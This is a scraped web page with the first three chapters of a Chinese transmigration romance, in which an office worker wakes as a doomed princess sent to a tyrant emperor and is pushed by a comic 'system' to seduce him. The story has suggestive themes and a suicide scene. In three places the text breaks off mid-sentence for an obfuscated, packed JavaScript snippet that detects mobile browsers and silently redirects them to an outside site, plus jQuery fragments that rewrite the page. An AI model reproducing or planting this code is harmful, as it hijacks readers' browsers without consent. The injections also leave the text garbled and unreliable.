《限制文女配攻略暴君日常》
1. 第 1 章
“好冷......好疼......”
薛夷光感觉浑身都像浸泡在冰冷的雪水中,浸透骨子的冰冷与刺痛自手腕上传来,让她难以承受。
眼皮好似有千斤重量,薛夷光吃力的睁开眼睛,眼神还不聚焦,脑子里却已经炸开了许多画面。
脑海中一个五官坚毅的青年男子,正冷漠至极的对一个同自己长相相似,眉眼更加明艳稚嫩的少女说话。
他看着她的眼神满是嘲讽和不屑,如同看蝼蚁:“薛夷光,你生来卑弱,若无妙霜时常接济关怀,你如何能在这吃人的宫中顺利舒心的活得那么久?”
“你既然借了妙霜的势,做下许多跋扈之事,还谋划享受了这诸多好处,你就应该替妙霜被进献给那周国暴君。”
“这事父王已经定下,你无需反抗。择日上路,他日若是你能在那暴君手里活下来,那是你自己的本事。如果你死了,你是为妙霜死的,这是你的哀荣!你也算报了妙霜对你的恩德了......”
画面闪过,周围环境变化,薛夷光发现方才那少女正怀着满心满眼的不甘与恨意,坐在马车里哭泣,字字泣血。
“哈哈哈,好笑,好笑!说什么大恩大德,说什么接济关怀!那不过是薛妙霜对我的施舍和利用罢了!”
“哪一回我不是当绿叶来衬托她的良善纯真?哪一回我不是当踏脚石,被众人冷嘲热讽,为难作弄后她出来假惺惺的替我解围,好显出她的宽容大度?如今竟然还要我为她送命!你们想得真美!”
脑海中画面一转,那少女忽然坐在浴桶的香汤之中,她上挑的桃花水眸里满是癫狂。
她看着自己的手腕,随后用一支锋利的素色银簪深深划破皮肤,任由鲜红的血液染红浴桶里的香汤。
她唇角勾出恶意的笑容:“想让我白白给你们送命,休想!我薛夷光就算是死,我也要给这位好战暴怒的暴君一个攻打越国的理由,我就等着你们,等着越国给我陪葬!”
手腕疼得发抖,脑中零碎又繁杂的画面飞速闪过,薛夷光身子冷汗淋漓,不住的发抖抽搐。
她感觉自己的身体好像和刚才的少女融合,连生命好像也在消逝。
阵阵眩晕之中,求生欲让她拼命睁着涣散的眼神,死死的盯着自己还在流血的手腕,脑子渐渐清醒过来。
老天爷,你给我干哪来了?
这到底是什么神奇的展开啊?
啊啊啊,我的身体为什么忽然会出现在这浴桶里?我现在所在的场景,为什么会和小说里女配的处境一样?
心里有个离谱的猜测,眼见血越流越多,薛夷光盯着伤口,急得快疯了。
死手,快止血啊!
眼前一道白光闪过。
薛夷光呆呆的看着自己手上狰狞深刻的伤口,慢慢消失不见。她皮肤重新变得柔软白皙,细腻光滑。
更诡异的是,这一桶沾染混合了鲜血的洗澡水,也正肉眼可见的变得清澈馨香。
薛夷光有了力气,不由哆哆嗦嗦道:“老天奶,我真见,见鬼了?”
这是什么幻觉吗?难道还真是穿书了?
她力气恢复过来后,尝试的动了动完好无暇的手腕,眼睁睁看着手腕处忽然出现一个精确到秒的倒计时:24:00:00。
那黑色的字迹跳跃着,下一秒就变成了23:59:59,23:59:58......
这倒计时,让人莫名有种不安感。
薛夷光看了许多小说,见了这场面,她呼吸急促起来,咽咽口水,尝试开口:“狗,系,系统,你在吗?”
脑海中传来一道稚嫩可爱的嗓音:“在呢,编号44444号穿书女配系统,竭诚为宿主服务!”
薛夷光蚌埠不住了,咬牙问道:“离谱啊,真有系统?我为什么在这里啊?”
44444系统嗓音格外活泼:“宿主应该已经接收到剧情啦!你因为年末连续加班,终于等到休假,却不睡觉,反而报复性的看某花市高限制古言多人运动小说解压放纵而猝死啦!现在你就是这本《绵绵春.潮》里,那位与宿主同名的炮灰女配薛夷光了!”
薛夷光反应过来。
她好像,确实死了。
第一反应是,哦,我终于不用上那破班了。
多年夙愿被这样古怪的方式实现,薛夷光心里有些麻木,有些解脱,又有些茫然和难过。
百感交集,她一时呆住了。
她恍然记起自己真的加了好久的班,好不容易轮休,但她偏偏舍不得入睡。
因为白天连续加班,薛夷光感觉只有晚上下班的时间是自己的。可是这段宝贵的光阴实在过得太快,她觉得睡着了的时间就不是自己的了,就索性不睡了。
她翻开了某花市里的一本古言小说,正好看到文案简介里有个角色和自己同名,她就兴致勃勃的看了下去。
这本《绵绵春.潮》的作者是个好厨子,剧情那些不提,主要太太做的饭菜实在是色香味美。
这书里的背景是写了周国暴君裴恕武德丰沛,性格嗜杀暴虐,力图以暴力手段一统天下。
他先是用蛮力将周边的的越国、卫国打得落花流水,狼狈不堪。虽然裴恕暂时未能彻底吞并两国,但他时不时要倒打一耙,降下旨意斥责两国狼子野心,欺辱周国。
越国、卫国的国君早被他打怕了,他们哪里还敢欺辱什么周国啊!
可裴恕就是睁眼说瞎话,今岁还轻描淡写的攻了两国边境的城池,甚至下令就地坑杀、活埋了两国将近二十万的敌军。
据书中描写,边境地区甚至垒起了一座座京观连绵不绝,殷红的血将泥土都渗得透透的,到处有吃腐肉的秃鹫飞来飞去。
满地的鲜血干涸发黑后,又有新鲜热血泼洒补上,越国、卫国与周国接壤的边境之地好似人间炼狱一般,一座座城池强行被裴恕吞并。
两国国君苦不堪言,又畏惧裴恕这个疯子。他们趁着朝贡的功夫,分别送出自家嫡公主,企图能给裴恕吹点枕头风,缓和一下局势。
这样的小说背景下,精彩的情节就是从越国大公主薛妙霜让二公主薛夷光顶替自己的身份,去往周国开始的。
炮灰女配薛夷光顶替女主薛妙霜去周国,她心里非常畏惧暴君裴恕,认定自己一到周国就必死无疑,所以恨上了女主以及整个越国。
她心里过于悲愤绝望,所以到达周国沐浴觐见裴恕当日,就在浴桶中割腕而亡了。
这本书的后续便是裴恕借机发作,言说越国侮辱周国,才会送来一宁愿自戕也不愿服侍自己的公主,说越国是在借此表达自己的不臣服。
越国百口莫辩,裴恕借此机会,不断打压吞并越国,三番四次索要道歉之礼,越国次次妥协又割让了许多城池,送了许多财货粮食。
之后,裴恕仅用一年多便灭了越国。
女主薛妙霜成了亡国之人,她一路隐姓埋名,藏匿到周国,伺机报复裴恕,达到复国的志向。
在这一路流亡的过程中,女主薛妙霜女扮男装,在周国兵营里邂逅了第一位男主,也就是忠国公府的世子江阙,江小将军。
薛妙霜同他开启了各种军营play、马上play、山林play,以及当着众将士外人的面,私下里刺激无比的play......
后来,江阙班师回朝,薛妙霜恢复女儿身跟随。她又邂逅了高中状元,才高八斗的第二位男主周晗锦,同他开启了书房play、客栈play、佛寺play等等。
女主薛妙霜身边文武齐备,后来越国太子,也就是她的嫡兄薛蘅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127974|180141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
素找到她后,又同他开启了一段骨科的缠绵禁忌之恋。
有三个男主的相助,女主成功打败后期癫狂失去理智的大反派暴君裴恕,不仅成功复国,还将越国发展成了最强盛的国家。
薛夷光回忆到这里,小脸已经通黄。
啊啊啊,现在她穿书了,那这些颜色浓郁的情节,岂不是要变成现实了?不知道为什么,光是想一想她就感觉有些羞耻和别扭。
薛夷光猛然想到什么,她嗓音颤抖。
“糟了糟了,大半夜不睡觉游览某花市,因看某花市文猝死真是我的报应啊!”
“所谓‘粉身碎骨浑不怕,要留清白在人间!’”
“44444,你能不能把我手机的浏览记录删除啊?要是能直接格式化手机就更好了,我求求你了,虽然穿书了,但我不想在我的原世界经历社死啊!”
薛夷光想到自己手机视频里直白的男女菩萨,各种带有前摇的擦边男,带有颜色的小说,以及各大软件上发疯吐槽看乐子的发言。
她闭了闭眼,感觉自己要昏过去了。
薛夷光:“呜呜呜,系统宝宝,求你啦。”
44444卡顿了一下:“宿主的要求可以完成,但宿主要认真完成任务哦!”
“好说,好说。”
薛夷光找到了主心骨,她瞄了眼自己的手腕,发现黑色的倒计时已经变成了:23:48:36。
小说看得很多,她下意识猜测:“我手上的倒计时是什么,难道是我的小命?难道二十三小时以后,我就要狗带了?是不是我完成任务就能活下来了?”
44444有些激动:“宿主,你终于抓住重点了!《绵绵春.潮》里的大反派裴恕,女主的宿敌,在后期成为了男主之一的火热选手。其人生得俊爽清贵,如朗月入怀,如清雪拂面,看着是个高洁端重的,其实内里是嗜血阴暗的愉悦犯,还是个经常压制自己欲.望得了性.瘾却难以控制疏解。这样一个张力慢慢的人设,偏偏还不愿意触碰包括女主在内的任何人。”
“因裴恕人设反差很大,惹得书粉们纷纷凝聚心声,给裴恕这大反派拉郎配,给他写各种小作文。读者群众呼声太大,凝聚的信念足够,我们的女配系统就应运而生,而宿主的任务就是攻略裴恕。”
薛夷光头皮发麻,她伸出手指了指自己:“啥玩意儿,攻略裴恕,我吗?”
你看我像是能搞定那么难搞的人吗?光想想就害怕得不得了了!
44444发出饱含深意的笑声:“嘻嘻嘻,宿主,不试试又怎么能说自己不行。话说,正常的爱情固然可贵,但畸形的爱情实在精彩呀!”
“这样拼命控制自己欲望的暴君,最后却失控得难以收场戏码,读者们最爱看啦!这可是好香的一碗饭,宿主加油呀!你和裴恕越亲近,你能活下来的日子就越久。”
什么好香的饭,我做旁观者,那才是好香的饭。我一旦参与,那就是我的断头饭啊!
薛夷光想起文章里对裴恕的描写,不由心颤腿软。
什么攻略反派啊!
退退退!
裴恕可是残暴含量过分的暴君,我攻略他,那不是提前自杀吗?
44444安慰:“宿主,反正你的生命能量就是和裴恕的攻略进度,日常亲密进度,侍寝次数,以及解锁各种成就play挂钩的。你不攻略的话,生命倒计时一到,你噶啦,我就只有同你解绑,选择回溯,再找其他合适的女配角进行绑定了。”
薛夷光看着手腕上跳动的倒计时,只觉得浑身发寒。
虽然我是个活人微死的社畜咸鱼,但是真能活着,谁也不想死啊!
此时,门外传来一阵敲门声:“殿下,是否已经沐浴完毕了?奴婢们准备为您梳妆打扮,去觐见陛下了。”
2. 第 2 章
红螺、翠羽催促薛夷光的嗓音传来,话音里暗暗含着一抹不耐。
这两个丫鬟都心向女主薛妙霜,她们都是越国太子薛蘅素派到原主身边的。目的是一路跟随监视原主顺利到周国,还要原主为越国争取得到裴恕的宠爱,多向他吹吹枕头风,尽力维持两国和平。
哎,原主身边,真就连个关心自己的人都没有。
薛夷光心里叹气,说了句:“进来吧。”
红螺、翠羽同众多丫鬟鱼贯而入,为她梳洗打扮。
这两个丫鬟确实很不喜欢薛夷光,但是她们对于越国却是格外忠诚。
所以在打扮薛夷光上,她们费尽心力,就是希望薛夷光这位越国不受宠的二公主,能尽可能的展现自己的美貌,笼络住周帝裴恕的心,让这位暴君能够同越国和平相处,不要再无端掀起战事。
另外两个侍女在薛夷光身前身后,分别举着一面镜子,让薛夷光能够在镜子中看见自己前面的模样和身后的发髻模样。
薛夷光细细打量自己。
镜中的她乌鬓生辉,鸦黑发髻间插着宝钿金笄,一支赤金累丝偏凤步摇坠着的珠子轻轻摇晃,珠光辉映间越发显得她容色娇艳,光彩照人。
额间花钿勾勒细致,浑身肌肤嫩玉生香,桃花水眸顾盼中间,好似含着一汪盈盈水汽,将人的神魂都能摄住。可她偏偏眼神是清澈的,便又增添了几分纯稚的感觉。
红螺一看,竟被惊艳呆愣在地。
虽然心里不想夸赞薛夷光的容貌,但现在情形不一样,她还是笑道:“殿下美貌绝尘,那卫国公主定然比不上殿下。殿下有这样的容貌,纵是石头见了也该动心的。殿下只管对周国的皇帝上心,他一定会喜爱殿下的。等时机成熟了,殿下便能劝说周国皇帝了。”
石头都会动心?
可那个暴君,是比石头更难搞的存在。薛夷光心里没底,只能赶鸭子上架的去见裴恕。
同她一道的还有卫国的大公主云姎,两人歇息的偏殿邻近,于是一同坐上各自的软轿,去往紫宸殿。
云姎长得五官大气秀美,是个气质端庄的美人,一举一动之间,姿态十分优美从容。不过薛夷光还是从她眉眼间看到了几分紧张。
云姎只朝薛夷光轻轻颔首,并未张口打招呼,只心神不定的在侍女的轻扶下,仪态大方端庄的坐进了软轿。
薛夷光心里非常理解,毕竟她们两个倒霉的公主,都是去见那杀人如麻的暴君裴恕,也不知道一会儿他会不会发癫杀了她们。这种情形下,她也没多少心思和别人打招呼寒暄的。
紫宸殿很快就到了。
薛夷光和云姎两人被请了下来,站在殿外等候,两人依旧沉默无言。
现在是午后,太阳的光芒不似午间炎热,反而显得柔和慵懒了许多。
薛夷光在殿外站了许久,心底的害怕逐渐被些许无聊取代。她低头看了眼只有自己才能看到的手腕上的黑字倒计时,发现时间已经变成了22:34:09.
她的生命,差不多只有二十二个小时半了。
薛夷光琢磨,到底应该怎么攻略裴恕呢?
首先,她态度肯定是要谦卑的,一会儿要苟命为上,不能太出风头。其次,打工人第一次见大老板,肯定是要表达忠心的,要是有私下见面的时候,她肯定要对裴恕表忠心,说明她是心向裴恕的,而不是心向越国的。
反正她觉得把裴恕当成大老板哄是又很有必要的,所以除了表现自己的忠心之外,她还要表现出自己的价值,让裴恕舍不得杀她。
至于价值,如果有必要的话,可以参考她看过的《三国演义》里面的电视剧,差不多就说出这样的话:陛下,天下大势,自古合久必分,分久必合。如今天下三分为周、卫、越三国,分开的时间过久了,也到了合起来的时候。陛下雄才大略,定然是能将两国纳入掌中的。
薛夷光把这句话在心里背了三遍,又将夸人的成语在心里默默背诵两遍:雄才大略,雄才大略,英俊无比,英俊无比,励精图治,励精图治,深谋远虑,深谋远虑......
可惜啊可惜,她已经过了自己智力巅峰时期了。
想当年她高中的时候,也算是上知天文,下知地理。现在,薛夷光感觉她的脑子跟着高考卷一起交上去了,实在想不起更好的成语和诗句了,好不容易想起的这几个,她还要背几遍才记得。
44444:宿主,你这样真有用吗?我们是攻略系统欸,所在的书还是某花市里的小说,你是不是路走偏了?难道不该色诱吗?
薛夷光反驳:你上过人类的班吗?你懂什么?我这是在告诉裴恕大领导,我实在太想进步了!像我这样一心向周国,且还会夸领导的人,就算裴恕再变态,应该也不会立即杀我的吧?你那套搞颜色的根本行不通,太突兀了,你就听我的吧。
系统那套要是能行,女主早就用了。
这裴恕就是个矛盾体,他明明爱玩得不行,偏要固执的当忍者神龟,贸然对他搞颜色,恐怕她还没上手,小命就丢了。
关键她这样的母胎单身,也搞不来那一套,只搞得来社畜这一套。
不等她有别的想法,紫宸殿的大门忽然打开。
一行身着玄色甲胄,腰佩宝剑,身形高挑,蜂腰猿臂的金吾卫团团将大殿围住。不消片刻,那大殿门口就抬着一个染血已死的宫女,还架着一个四肢被五花大绑,嘴巴被帕子堵住,如同鹌鹑一样颤抖的太监。
薛夷光看一眼,心里久开始狂跳。
这是死,死人啦!
死人这样的事情,周遭的金吾卫,以及宫女太监都似看不见似的,只有条不紊,神色谨慎的做自己的事情,连半点声响都没有,足以看出他们习以为常的态度了。
薛夷光手指颤抖,浑身发冷。
虽然心里清楚,这封建社会下的人命如同草芥,可她真的没见过这样的场面啊。
两个金吾卫沉默的抬着那具染血的宫女尸体迅捷走过,担架上蒙着黑布,血迹洇得不明显。
薛夷光余光没见到宫女脖子上的头颅形状,却不经意间在那担架边缘,大约是宫女腰部的位置,瞧见一个椭圆形状东西乱放着,随着金吾卫们的走动,那椭圆的东西在黑布下一颠儿一颠儿的。
啊啊啊,是这个宫女的头!
她是被砍下头颅死的!
求一双没有看过担架的眼睛!
薛夷光感觉有点恶心想吐,更有一股毛骨悚然的感觉自脊背处往全身蔓延,她感觉自己浑身都起了鸡皮疙瘩。
裴恕身边的总管太监肖正祥走出殿外,他生得不似影视剧里的太监一般阴柔矮小,反而身形魁梧高大,虽上了年纪,但面容也周正端和。
他看向薛夷光和云姎脸上带的也是随和无比的笑意。
“越国公主,卫国公主,两位殿下久等了,刚才发生了一点小事。现在事情解决了,陛下让我宣两位公主进去。两位公主,请吧。”
作为战败国,就是公主也不敢摆架子。
薛夷光走进紫宸殿大殿之中,穿过弯弯曲曲的长廊,宽阔的前殿,终于迈入了紫宸殿的主殿大门。
她不着痕迹的环顾四周,只见紫宸殿中雕梁画栋,金砖铺地,朱柱高耸,其上盘旋着金龙,显得金碧辉煌。殿中屏设精美昂贵,墙壁上挂着历代名士大家的画作、书法,显得很有文气。
殿中金兽口中正缓缓吐出袅袅的龙涎香,清雅馨和,半点没有意料当中的血腥味。
薛夷光紧张的往旁边一看,便控制不住的呆愣在原地。
那应该就是裴恕。
他长身玉立,没穿冕服,反而身着雪青底色长袍,头戴玉冠,打眼一瞧,他肤色极为白皙,如同雪捏的一般。
那张棱角分明的面上五官俊爽清贵,眉眼深邃,眸若点漆,唇若含丹,一看便觉得他实在符合原文中的描述:
“青竹为骨,朗月刻魂,虽是极致的清朗飘逸,可用来形容裴恕却终究少了一份帝王的贵气与威严。金玉养气,珠宝塑身,贵重至极,可来形容裴恕,却少了一份清雅气韵。裴恕金质玉相,是将清贵一词诠释到极致的人。”
“可偏偏裴恕面若仙君,心却似蛇蝎。”
裴恕手指修长,如玉雕成。
此刻他一只手正慢悠悠的夹着生肉,一只手上带了泛着冷硬质感的漆黑皮手套。
那带了手套的腕上,一只雄壮凌厉,桀骜挺拔的老鹰正立在上方,乖乖低头衔食肉块。
听到声响,裴恕和那只鹰一同转头,他冷淡深邃的眼与老鹰锐利如箭的眼看向薛夷光和云姎,好似带了千钧压迫,让人心慌气短,呼吸一滞。
系统44444却抽风似的在薛夷光脑中大叫:不怒而威的清贵帝王与他桀骜不驯的帝王鹰犬!妙蛙,太妙啦!
44444:宿主,这你还不上?听我的,你直接上前走流程,用眼神先魅惑住他,再不小心摔倒在他怀里,来个爱的魔力转圈圈,一边转一边和他爱的对视,攻略这事儿不就成了大半了吗?
薛夷光心里冷笑:闭嘴,小傻子,你这是让我送命。
肖正祥连忙走向前去,低头敛目:“陛下,这就是卫国的公主。”
云姎立即行礼,仪态优雅端方,端庄秀雅的脸上带了柔和的笑意:“卫国云姎见过陛下,陛下万安。”
裴恕神色淡淡的点头,嗓音清冽:“嗯,今日起你便是云美人,住拾翠殿。”
裴恕不近女色,如今还是第一次收人到后宫之中。
云姎喜上眉梢,原以为自己来周国定要做许久的冷板凳,要无名无份受辱一阵子,没想到事情竟然进展得如此顺利。
云姎看着裴恕俊逸清贵的脸,心里一动,她含笑行礼:“妾身多谢陛下隆恩!”
裴恕一个眼神,肖正祥便让人送云姎去拾翠殿。
薛夷光低头,暗暗祈祷自己也如云姎这般顺利。她不求什么名分,只要能保住小命,就是万幸了。
肖正祥对一旁仍在喂鹰的裴恕道:“陛下,这是越国公主,名唤薛妙霜。”
薛夷光一听这个名字,立即头皮紧绷,心里生怕露馅,当场在此玩完儿。
她依稀记得小说里写,这暴君幼时好似在越国当过一阵的质子,但小说里好像没写过他和女主有什么交集。就算他见过女主几眼,但人长大容貌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127975|180141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是会发生变化的,他应该也认不出她这个冒牌货吧?
薛夷光越想心里越是惴惴不安,只能默念,:菩萨保佑,菩萨保佑,菩萨保佑.......
她鼓起勇气,悄咪咪观察裴恕的表情,有些结巴道:“妙霜,妙霜见过陛下。”
薛夷光暗恨自己结巴:呜,怎么办,嘴巴不会说话了,我还是这么上不得台面。死嘴,你倒是快说刚才复习的成语啊!
裴恕动作一顿,他慢条斯理的放下手里的夹子,将手腕上的鹰放在木架子上。
他目光移到薛夷光脸上,见到她一双过分清澈水润,几乎要被吓哭的眼睛,不由轻笑:“你真叫薛妙霜?”
裴恕语气清淡,但其中却含着让人心惊肉跳的冷意。
薛夷光碎掉了,心里尖叫:完了,完了,系统,他一定知道我不是薛妙霜了!他会不会觉得越国欺骗他,一个恼怒就把我杀了!
薛夷光想都没想,二话没说就跪下给裴恕磕了一个:“陛下恕罪!其实我是越国二公主薛夷光。”
她看着裴恕陡然冷下的脸,心如死灰,只能眨眨眼,拿出了毕生演技!
薛夷光强迫自己看着裴恕,泪光盈盈动人,其实是吓得快哭了:“陛下雄才大略,英俊无比,励精图治,深谋远虑,实乃一代明君啊!夷光对您钦慕许久了。一听父王要送公主给陛下,我便缠着要来,希望陛下不要责怪越国欺君之罪。这一切都是因为我太爱你的缘故!”
一旁的宫女太监,包括肖正祥一听这话,不由瞪大了眼睛,跟见了鬼似的!
哎呦,啥爱不爱的呀?这大庭广众的,越国国君怎么教女儿的,这也忒直白了吧?听得人老脸都红了!
裴恕也看着薛夷光,神色似乎也极快的愣了一下,方才过分冷漠的神肉眼可见消融了少许。
他自然知道这不是薛妙霜,但这位二公主,怎么同多年前见过的薛夷光那高傲跋扈的样子大相径庭?这真是同一个人?
薛夷光看他的表情,感觉自己的一顿输出有用。
可她感觉自己有点词穷了,索性乱答:“陛下,我爱你,这这这是多么清楚,多么坚固的信仰啊!希望陛下能怜惜我一片真心,陛下要我做什么我都愿意的!真的!”
薛夷光:幸好幸好,差点唱出来了。
系统无语:......宿主,你还是有点抽象的。
薛夷光:系统救命救命,快教我点真诚夸人的文案,或者是诗句吧,我实在编不下去了TVT。
一旁的肖正祥悄悄捂了捂脸,又搓了搓手上的鸡皮疙瘩。
哎呦,这大场面,他还没遇到过。他打了个眼神,一旁伺候的宫女护卫,便退得稍微远了一些。
薛夷光睁眼看着裴恕走近自己:完了,他不会是来杀我的吧?
没等她乱想,她的下巴便被裴恕带着皮质黑色手套的手指捏住,抬了起来。
薛夷光泪目委屈:有点痛。
她不敢说,泪眼盈盈的双眼和裴恕对视。
裴恕看着眼前这一双格外水润清澈,半点没有桀骜不驯,厌恶恶毒的眼神,只有清澈愚蠢,惧怕紧张的眼睛,不由感觉有趣。
这人的转变是不可能这么大的,这薛夷光,当真是薛夷光吗?
薛夷光只感觉裴恕带着手套,显得格外硬.挺修长的手指,细致的摩挲着自己的下巴、嘴唇,然后慢慢移到鬓角、眼角。
手指摸过的地方,带着皮革的冰冷坚硬,十足危险的战栗感,以及若有似无的暧昧,让她控制不住的轻颤起来。
那手指慢慢后移,开始轻轻摩挲着她耳根处脆弱的皮肤。
微凉的触感,过分亲密的姿态,裴恕的眼神也同手指一般,漫不经心划过这些部位,带来格外古怪.色.气的感觉。
这上位者姿态轻慢,还带着一股肆意的风流,令下位者战栗无法反抗,只能臣服。
系统44444发出尖锐的爆鸣:磕到啦,磕到啦!磕死我了,果然某花市文诚不欺我,比那绿晋江的刺激多了。宿主,他都这么勾引你了,你是不是不行?你快含住手指,咬掉这手套啊!他有性.瘾,皮肤接触后,他肯定忍不住的!
薛夷光一动不敢动,当作没听见这些屁话。
她一双桃花水眸专注的看着裴恕,一边用力掐着自己的掌心,一边拼命夹着嗓子,语无伦次说着车轱辘话:“陛下,陛下,夷光真的心悦陛下,真的很爱陛下呀,求陛下怜惜怜惜夷光。”
裴恕露出愉悦的笑容,这人竟然不是易容,真是薛夷光。
这可有意思极了,她性格转变之大,好像这身子彻底换了个魂。
他看向薛夷光的眼,低笑起来,嗓音竟然很温和:“像你这般深情的女子,倒是少见。既然如此,朕便也封你婕妤,赐你居住蓬莱殿,今夜便由你侍寝。”
薛夷光眼泪都要流下来了,她真心实意给裴恕磕了一个:“呜,妾身谢陛下隆恩。”
妈呀,终于从这狗皇帝手里逃过一劫了!
小系统,你看吧,我就说,哪个大老板能抵挡得住忠诚+赞美+表白的三件套啊。这一套下来,连这变态狗皇帝都软化了不少!
3. 第 3 章
蓬莱殿是后宫中离紫宸宫最近的宫殿,当薛夷光封婕妤并赐住蓬莱殿的消息传开后,她身边的丫鬟都高兴得不能自已,觉得自己梳妆有功,为越国做出了很大的贡献。
几个宫女、太监高高兴兴的收拾一番,很快就搬进了蓬莱殿。
薛夷光坐在桌案前,抬手细细查看自己的手腕。
素腕如同霜雪凝就,上面黑色的倒计时格外明显。最上方有个11天的字样,下方是熟悉的数字20:37:49。
薛夷光陡然松了一口气,整个人放松下来:系统,我多了11天的寿命,这下暂时不用担心我明天就没命了。不过这寿命是怎么计算的?为什么是11天呢?
44444更加兴奋,它听说那裴恕是格外难以接近的,没想到宿主第一天,就能够和他近距离接触,这可太让人惊喜了。
44444对未来充满了信心:恭喜宿主达成向裴恕表白的成就,寿命加10天,此为一次性奖励任务。以后宿主同裴恕日常亲密接触一次,寿命加一天,刚才裴恕触碰到了宿主,虽然是戴手套的,但也算数。对了,宿主,你今晚还要侍寝呢!如果你能顺利侍寝,只要一次,你就有整整一年的寿命!
薛夷光却觉得不可能,原文里说裴恕虽然有性.瘾,可他却十分讨厌失去掌控的感觉,更厌恶自己失去理智,沉溺与卑劣的欲.望之中。
所以他一直在压制自己的瘾症,至死也没有同女主有过亲密的关系,日子过得比那禁欲的苦行僧还苦行僧。
薛夷光压根没有自信,自己能够成功侍寝。她也不敢相信,有朝一日裴恕放任开来纾解,那该是一个什么样的场面。
想想就让人头皮发麻。
薛夷光叹了口气:生存太难了,想想就觉得无奈。其实她对侍寝无所谓,除了生命受到威胁外,反正她感觉这是本小说,她的攻略也很像游戏里的攻略苟命,有点缺乏实感,
反正她就主打一个能苟一天苟一天。以裴恕禁.欲的样子,是不可能让任何人侍寝的,只要她想办法日常同他接触,尝试一下应该还是能积攒寿命的。
侍女端着饭菜上来,对薛夷光笑道:“娘娘,菜已经上齐了,请娘娘慢用。对了,娘娘如此貌美如花,御膳房大师傅新制了玫瑰卤子,可以放在糕点上吃,也可以配饮子喝。这东西美容养颜,正适合娘娘用呢。”
薛夷光笑道:“你们有心了。”
红螺和翠羽笑得春风拂面,觉得他们越国将那卫国公主轻而易举比下去了,还高高兴兴的拿了碎银子打上御膳房的人。
薛夷光没心思顾着别的,她流着口水,看着眼前桌案上的美食:香酥鹌鹑、板栗烧野鸡、胭脂鹅脯、火腿鲜笋汤、素烩三鲜丸、芋头煨白菜,整整六道菜,加上御膳房给的玫瑰卤子,这也太爽了吧!
穿书之后,啥都是坏的。唯有一件好事,就是吃得太好了!
想她上班这两年,大多是点外卖,偶尔自己做饭,再不然就是下班途中在外边解决饭菜。
外卖和外边的饭菜重油重盐,吃多了就有种厌恶的感觉,有时候甚至闻着味道就失去了胃口,自己做的饭菜确实干净卫生,但也是真的难吃。
现在这一桌,实在是意外之喜呀!
薛夷光咽了咽口水,忍不住拿起筷子大快朵颐起来。
鹌鹑炸得香气四溢,连骨头都是酥脆的,板栗烧鸡香甜软糯,胭脂鹅脯肉质鲜嫩,汤菜鲜美异常,素菜新鲜爽口。
薛夷光吃了这个吃那个,她雪白.粉润的脸颊鼓起一个小小的包,嘴里快速嚼嚼嚼,享受的眯起了眼睛,只觉得满足得不得了!连所有郁气都被治愈了!
呜,太好吃了!太好吃了!狗皇帝,竟然这么会享受!
她以后天天在他身边担惊受怕的,就该多吃好吃的压惊,补偿补偿自己。
心满意足的用完了晚膳,薛夷光在蓬莱殿中慢慢散步消食。
蓬莱殿占地很广,处处雕梁画栋,摆设精美。造景和水榭楼台,都以仙境、仙人为元素,到处显得清雅仙气。此处乃是高位嫔妃所居的大宫殿,种植的绿植,建筑的设计,都含了一种女性温婉的审美在其中,显得非常舒服柔软。
薛夷光在外逛公园似的逛了两刻钟后,红螺和翠羽便带她到了寝殿之中沐浴更衣,准备迎接皇帝的到来。
两人准备了香汤,其中还撒了许多洁净的花瓣。空气中弥漫着一股香气,气味清淡,却又带着清幽微甜的感觉,若有若无,无比沁人心脾。
薛夷光泡在浴桶之中,舒舒服服的沐浴完毕后,红螺重新给她梳妆。
红螺一边为她梳妆,一边絮絮叨叨:“现在夜了,殿下一会儿侍寝,无需再做繁重华丽的打扮。一切以舒适诱惑为佳,咱们既要显露身段与美貌,又不能显得过于轻浮低贱。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127976|180141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
果然,薛夷光发现自己乌发只挽了一个小髻,用简洁圆润的珍珠步摇做装饰。她身着浅粉色纱质寝衣,雪白柔腻的肌肤若隐若现,婀娜娇美的身段也若隐若现,有种欲露还羞,惹人窥探的感觉。
44444:哇塞,红螺好懂啊。我看了我都想问裴恕,他难道真的不会憋死吧?
薛夷光嘴角微微抽搐,感觉有些羞耻和慌乱。
她觉得今天这场面,对于母胎单身的人来说,可真是最大的场面了。但是想一想,就觉得有点喘不过气来。
翠羽在一旁低呼:“殿下实在美丽,这周国皇帝再不近女色,我也不信他能忍住不碰殿下。对了,我还有个宝贝,殿下可以现在就看一看,一会儿保准能够起到大用处!”
她屏退了小宫女,从贴身的夹层里掏出了一本色彩浓艳,画风靡丽的书递给薛夷光。
薛夷光一瞧,那书封面上直白的写了几个风流雅致的行书:《天下春宫图大全》
